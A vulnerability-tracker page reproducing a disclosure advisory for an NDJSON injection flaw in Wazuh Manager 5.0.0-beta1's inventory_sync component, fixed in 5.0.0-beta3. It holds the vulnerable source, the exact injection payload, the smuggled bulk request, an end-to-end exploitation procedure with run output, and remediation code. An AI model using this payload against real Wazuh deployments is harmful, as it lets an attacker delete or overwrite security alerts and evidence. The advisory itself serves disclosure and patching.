Wazuh Manager lets enrolled agents inject OpenSearch bulk operations
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- None
- Attack complexity
- Low
- Impact type
- Security bypass
- Confidentiality · integrity · availability
- High · High · High
- Fix status
- Fixed
Attack profile from CVSS 3.1 · GHSA-ff9g-85jq-r3g3. Fix status from GitHub. Impact type from CWE-863.
Summary
Wazuh Manager from 5.0.0-beta1 before 5.0.0-beta3 is affected. The inventory_sync component copies an agent-supplied index field into an OpenSearch bulk request without escaping, an injection flaw (CWE-74). An enrolled agent can add extra bulk actions that the manager sends to the indexer under its stored credentials, so the agent can delete and overwrite indexed documents.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
Description from the GitHub advisory
# Wazuh Manager — NDJSON Injection in `inventory_sync` via Agent-Controlled `DataValue.index` **Reporter:** TarPeg007 **Affected:** `wazuh-manager` 5.0.0-beta1 (new `inventory_sync` subsystem; not present in 4.x) **Component:** `wazuh-modulesd` `inventory_sync` + `shared_modules/indexer_connector` **CWE:** CWE-74 (primary), CWE-93, CWE-863 **CVSS 3.1:** `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H` — **10.0 Critical** --- ## Summary The Wazuh 5.0 inventory pipeline forwards an agent-supplied flatbuffer field (`DataValue.index`) directly into an OpenSearch `_bulk` NDJSON request body without escaping. An enrolled agent can embed `"}}` plus a literal `\n` plus additional bulk action lines into that field, smuggling extra `index` / `delete` / `update` operations into the request the manager POSTs to `wazuh-indexer` under the credentials stored in its keystore (`admin` / `all_access` in every shipped install template). Adjacent fields in the same JSON object — notably `_id` — are correctly run through `appendEscapedId`. Only `_index` is appended raw. The handling is asymmetric and the omission is plainly a bug. Default `wazuh-authd` ships with `use_password=no` and `ssl_verify_host=no`, so the precondition is anonymous SSL enrollment over TCP/1515. The end-to-end attack runs over the standard remoted AES protocol on TCP/1514 — no manager-local access, no daemon flag changes. --- ## Impact Smuggled operations execute under whatever OpenSearch role the manager's keystore holds for `indexer.username`. On every shipped install template I reviewed (`api/tools/env/wazuh-indexer/wazuh.indexer.yml`, the published `wazuh-docker` single-node compose), that role is `admin` with `all_access`. Concrete primitives an enrolled agent obtains: - **Arbitrary document deletion** in any `wazuh-*` index — alert tampering, evidence destruction, post-compromise cleanup. - **Inventory / vulnerability state overwrite** for other agents — cross-agent SIEM tampering. - **Writes to `.kibana_1` saved objects** — persistent, server-rendered dashboard payloads against analysts. - **Cross-tenant operations** in multi-tenant deployments where index separation is the only boundary. The destructive primitive (smuggled `delete`) is empirically verified against an attacker-chosen document. --- ## Affected versions - `wazuh-manager` `5.0.0-beta1` (and any later 5.x build that still contains the unmodified `inventory_sync` + `indexer_connector` code shown below). - 4.x is **not** affected — the inventory-sync code path does not exist in that branch. --- ## Root cause (verbatim source, 5.0.0-beta1) ### 1. Schema declares `index` as arbitrary string `src/shared_modules/utils/flatbuffers/schemas/inventorySync.fbs:32-40`: ```fbs table DataValue { seq: ulong; session: ulong; operation: Operation; id: string; index: string; // agent-controlled, any byte sequence version: ulong; data: [byte]; } ``` ### 2. Inventory-sync handler forwards the field unmodified `src/wazuh_modules/inventory_sync/src/inventorySyncFacade.hpp:1067-1082`: ```cpp const auto indexName = data->index()->string_view(); // raw agent bytes if (version && version > 0) { m_indexerConnector->bulkIndex(elementId, indexName, dataString, std::to_string(version)); } else { m_indexerConnector->bulkIndex(elementId, indexName, dataString); } // ... m_indexerConnector->bulkDelete(elementId, data->index()->string_view()); ``` `grep -rn 'validateIndexName\|isValidIndex' src/wazuh_modules/inventory_sync/ src/shared_modules/indexer_connector/` returns zero hits in product code. No charset check, no length cap, no OpenSearch index-name validator anywhere between the flatbuffer field and the sink. ### 3. Router-side anti-spoofing skips `DataValue` entirely `src/shared_modules/router/src/router.cpp:288-362` (the entry point remoted invokes for every inventory-sync message): ```cpp if (syncMessage->content_type() == Wazuh::SyncSchema::MessageType_Start) { // ... compare Start.agentid to the auth'd agent_id ... } // Validation passed; DataValue messages forwarded as-is std::vector<char> data(message, message + message_size); PROVIDERS.at(handle)->send(data); ``` `MessageType_DataValue` is forwarded with no semantic check — not against the auth'd `agent_id`, not against the `Start.index` list the agent declared at session open. `DataValue.index` is fully free. ### 4. Asymmetric escaping at the sink `src/shared_modules/indexer_connector/src/indexerConnectorSyncImpl.hpp:1148-1218` (`bulkIndex`): ```cpp m_bulkData.append(R"({"index":{"_index":")"); m_bulkData.append(index); // LINE 1183: RAW APPEND if (!version.empty()) { if (!id.empty()) { m_bulkData.append(R"(","_id":")"); appendEscapedId(m_bulkData, id); // id IS escaped (line 1190) } m_bulkData.append(R"(","version":")"); m_bulkData.append(version); m_bulkData.append(R"(","version_type":"external_gte)"); } else { if (!id.empty()) { m_bulkData.append(R"(","_id":")"); appendEscapedId(m_bulkData, id); // id IS escaped (line 1213) } } m_bulkData.append(R"("}})"); m_bulkData.append("\n"); m_bulkData.append(data); m_bulkData.append("\n"); ``` `bulkDelete` (lines 1133-1147) has the same shape: `_index` raw on line 1141, `_id` escaped on line 1143. ### 5. Bulk POST uses keystore-stored indexer credentials `indexerConnectorSyncImpl.hpp:632`: ```cpp static auto username = Keystore::get(INDEXER_COLUMN, USER_KEY); static auto password = Keystore::get(INDEXER_COLUMN, PASSWORD_KEY); ``` `INDEXER_COLUMN = "indexer"`. In the shipped `wazuh-docker` single-node compose and the published installer, the keystore value resolves to `admin` / `admin` against the `all_access` OpenSearch role. --- ## Exploitation primitive After the agent's normal `Start` handshake, the agent sends a `DataValue` whose `index` field carries: ``` wazuh-states-inventory-packages-default"}} {} {"delete":{"_index":"<TARGET_INDEX>","_id":"<TARGET_ID>"}} {"index":{"_index":"x ``` After the manager's NDJSON template is applied, the body POSTed to `https://wazuh.indexer:9200/_bulk` (with `Authorization: Basic admin:admin`) becomes: ```ndjson {"index":{"_index":"wazuh-states-inventory-packages-default"}} {} {"delete":{"_index":"<TARGET_INDEX>","_id":"<TARGET_ID>"}} {"index":{"_index":"x","_id":"attacker-doc-id","version":"1","version_type":"external_gte"}} {"package":{"name":"sshd","version":"1.0"},"@timestamp":"2026-01-01T00:00:00Z"} ``` OpenSearch parses this as **three** bulk actions where the manager intended one. The middle action is the smuggled `delete`, executed under the manager's `admin/all_access` identity. Variants of the same primitive yield writes to `.kibana_1`, overwrites of alert documents (`wazuh-alerts-*`), and writes to vulnerability state (`wazuh-states-vulnerabilities-*`). --- ## End-to-end verification (over remoted AES, no shortcuts) A Python Wazuh-agent emulator (`18-cve-f-remoted-aes.py`, available on request) implements the full agent path: 1. Enrolls anonymously via `wazuh-authd` on TCP/1515 (`OSSEC A:'<name>' V:'v5.0.0' G:'default'`). 2. Derives the AES-256-CBC key per `src/shared/os_crypto/shared/keys.c:116-138` (MD5-chained from the enrollment key). 3. Frames inventory messages per `CreateSecMSG` (`src/shared/os_crypto/shared/msgs.c:571-712`): `<rand5><global10>:<local4>:` header, zlib, `!`-pad, AES-256-CBC, `!<id>!#AES:` outer prefix. 4. Opens TCP/1514, sends `#!-agent startup` to register the connection with remoted, then sends `s:syscollector:<flatbuffer Start>`. 5. **Receives `StartAck` off the wire**, decrypts it, parses the manager-assigned session ID from the flatbuffer body. No log scrape. 6. Sends `s:syscollector:<flatbuffer DataValue>` with the captured session ID and the poisoned `index` field. 7. Sends `End`. Polls the indexer for victim destruction. Single clean run output: ``` [*] Phase A: enrolling agent via TCP/1515 authd... enrolled: id=009 name='cvef_agent_1779530269' [*] Phase B: AES-256 key derived [*] Phase C: opened TCP 127.0.0.1:1514 [*] Phase C.5: agent startup control message sent [*] Phase D: building flatbuffer Start (agentid='009') Start sent [*] Phase E: receiving StartAck from manager... StartAck received: session=12796420136649323482, status=0 [*] Phase G: building poisoned DataValue with session 12796420136649323482 poisoned DataValue sent over remoted AES End sent [*] Phase I: polling indexer for victim destruction (up to 30s) ... [+] DELETED after 9s [VERIFIED — END-TO-END OVER REMOTED AES] ``` Manager's own debug log captured the smuggled bulk POST and indexer response (verbatim from `/var/wazuh-manager/logs/wazuh-manager.log`): ``` Response: {"took":8,"errors":false,"items":[ {"index": {"_index":"wazuh-states-inventory-packages-default","result":"created","status":201}}, {"delete": {"_index":"cve_f_remoted_witness","_id":"PROOF_1779530269_2658836","_version":2,"result":"deleted","status":200}}, {"index": {"_index":"x","_id":"wazuh_009_attacker-doc-id","result":"created","status":201}}]} ``` Three actions, three successes — including a `_version:2` delete against an attacker-chosen document. Direct API GET post-state returns `"found": false`. ### Sink-isolation harness `15-cve-f-sink-harness.cpp` is a verbatim copy of `bulkIndex` from the shipped header. Compiled with `g++ -std=c++17`, invoked with the same poisoned `index` argument, it produces the same NDJSON body the manager produces. POSTing that body directly to `wazuh.indexer:9200/_bulk` with admin credentials yields `errors: false` with the smuggled `delete` at `status:200, result:"deleted"`. This isolates the bug from the wider PoC scaffolding. --- ## Remediation ### Minimum fix (escape at the sink) Apply to `indexerConnectorSyncImpl.hpp:1141` and `:1183` the same shape `_id` already uses, and reject `\n`, `\r`, `"`, and control bytes: ```cpp m_bulkData.append(R"({"index":{"_index":")"); appendEscapedIndex(m_bulkData, index); // mirror appendEscapedId; also reject \n \r " and ctrl ``` ### Recommended (validate at the boundary) Reject invalid index names at the point where agent bytes enter the manager, in `inventorySyncFacade.hpp` before the `bulkIndex` / `bulkDelete` call. Enforce OpenSearch's own index-naming rules: ```cpp const auto indexName = data->index()->string_view(); if (!isValidIndexName(indexName)) { throw InventorySyncException("Invalid index name from agent"); } ``` A standards-compliant `isValidIndexName` rejects empty / >255 byte names, leading `_` / `-` / `+`, `.` / `..`, and the characters `" \ / * ? < > | <space> , #` plus all ASCII control bytes. ### Defense-in-depth (downscope the keystore role) The shipped `indexer.username` default of `admin/all_access` is the multiplier that turns a smuggled write into a cluster-admin compromise. The OpenSearch security plugin already ships a narrower `wazuh-server` role. Install templates and the published `wazuh-docker` compose stack should default the manager's keystore to that role and document the migration path for existing operators. This hardening is independent of and does not displace the escape fix. --- ## Coordinated disclosure Reporter is available to share the full PoC repository (`15-cve-f-sink-harness.cpp`, `18-cve-f-remoted-aes.py`, witness logs, and a 90-second screen-recorded demonstration) over a private channel once Wazuh security confirms a receiving address. The artifacts together let the fix be validated against the same path the report walked. ## Credit TarPeg007 https://github.com/user-attachments/assets/9383d207-6d4e-4c68-bcaa-9692991139a3 [18-cve-f-remoted-aes.py](https://github.com/user-attachments/files/28174324/18-cve-f-remoted-aes.py) [18-cve-f-remoted-aes.witness.txt](https://github.com/user-attachments/files/28174325/18-cve-f-remoted-aes.witness.txt) [15-cve-f-sink-harness.cpp](https://github.com/user-attachments/files/28174328/15-cve-f-sink-harness.cpp) [CVE-F-inventory-ndjson-injection.md](https://github.com/user-attachments/files/28174329/CVE-F-inventory-ndjson-injection.md)
Why it matters now
SSVC decision points
Not available: CISA has not published SSVC decision points for this record.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| — | wazuh-manager | >= 5.0.0-beta1 | 5.0.0-beta3 | Patch available | GHSA-ff9g-85jq-r3g3 |
- wazuh-manager Vendor— Affected >= 5.0.0-beta1 Fixed in 5.0.0-beta3 Patch available GHSA-ff9g-85jq-r3g3
Remediation
Upgrade wazuh-manager to 5.0.0-beta3, which fixes this flaw.
Written with Claude Haiku 5.5 from the sources below · 2026-11-12
- Fix · GHSA-ff9g-85jq-r3g3 wazuh-manager Fixed in 5.0.0-beta3 Advisory →
Timeline
- 2026-11-12 Threatist record created from GHSA-ff9g-85jq-r3g3
References
Sources
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences